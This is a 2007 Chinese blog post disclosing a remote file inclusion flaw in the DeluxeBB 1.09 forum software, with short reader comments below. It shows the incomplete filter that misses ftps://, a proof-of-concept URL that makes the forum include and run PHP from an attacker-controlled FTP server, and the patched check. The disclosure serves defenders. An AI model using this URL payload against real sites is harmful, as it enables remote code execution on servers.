公布一个deluxebb的漏洞<原创>

上一篇 / 下一篇  2007-06-09 04:25:18 / 个人分类:安全

声明:本漏洞为本人独立发现;转载请注明出处,谢谢合作!

前段时候为准备一个攻防比赛,分析了deluxebb 1.09的源代码,发现了一个php的远程文件包含漏洞,公布出来与大家共享.多个文件中都有这样的漏洞;主要是在作检查的时候不严格;漏掉了对ftps://的检查;有漏洞的文件主要有templates/deluxe/ 和 templates/default 下的:posting.php,postrelay.php 和其它一些文件(我就不全写出来了,需要知道的话自己写个小的SHELL脚本查找一下吧:));漏洞的成因都是一样的,其中的检查代码如下:
<?php if(stristr($templatefolder, 'http://') || stristr($templatefolder, 'https://') || stristr($templatefolder, 'ftp://') || stristr($templatefolder, '.ext')) { exit(); } ?>

可以看出,并没有对ftps:作检查,那么就可以通过本应用ftp提交的URL,修改成提交ftps://的形式
一个测试的例子;
http://192.168.5.64/templates/deluxe/posting.php?templatefolder=ftps://192.168.5.66;
 在192.168.5.66的FTP根目录下放一下名为posticons.php的文件,通过提交上述URL,会发现这个PHP文件中的代码已经成功执行;
这个漏洞的利用条件要求php.ini中 'register_globals = On' 和 'allown_url_fopen=on';利用的条件不容易满足.
漏洞修改的方法也非常的简单,在上述的检查代码中增加对ftps://的检查就可以了;修改成为:
<?php if(stristr($templatefolder, 'http://') || stristr($templatefolder, 'https://') || stristr($templatefolder, 'ftp://') || stristr($templatefolder, '.ext')||stristr($templatefolder, 'ftps://')) { exit(); } ?>
就可以了.哈哈原本作者在这里已经考虑到了远程文件包含的问题,但把ftps给忽略了;
在公布这个漏洞之前的几天,我已经向开发这个论坛的开发者发送了BUG报告,希望大家不要利用这个发现做任何破坏,否则后果自负;
也希望相关论坛的管理员及时修复这个漏洞,谢谢了;

 


TAG:

引用 删除 screepinail   /   2007-06-24 12:22:55
收藏了
引用 删除 雪山   /   2007-06-15 07:49:52
不错哦,你的心还真细,这搞一次活动都成了找Web漏洞的高手了
Sanool和开源的故事--邵炜主题博客.. 引用 删除 sanool   /   2007-06-09 10:36:11
厉害
 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-09-07  
 123456
78910111213
14151617181920
21222324252627
282930    

数据统计

  • 访问量: 7327
  • 日志数: 42
  • 建立时间: 2006-09-09
  • 更新时间: 2007-11-25

RSS订阅

Open Toolbar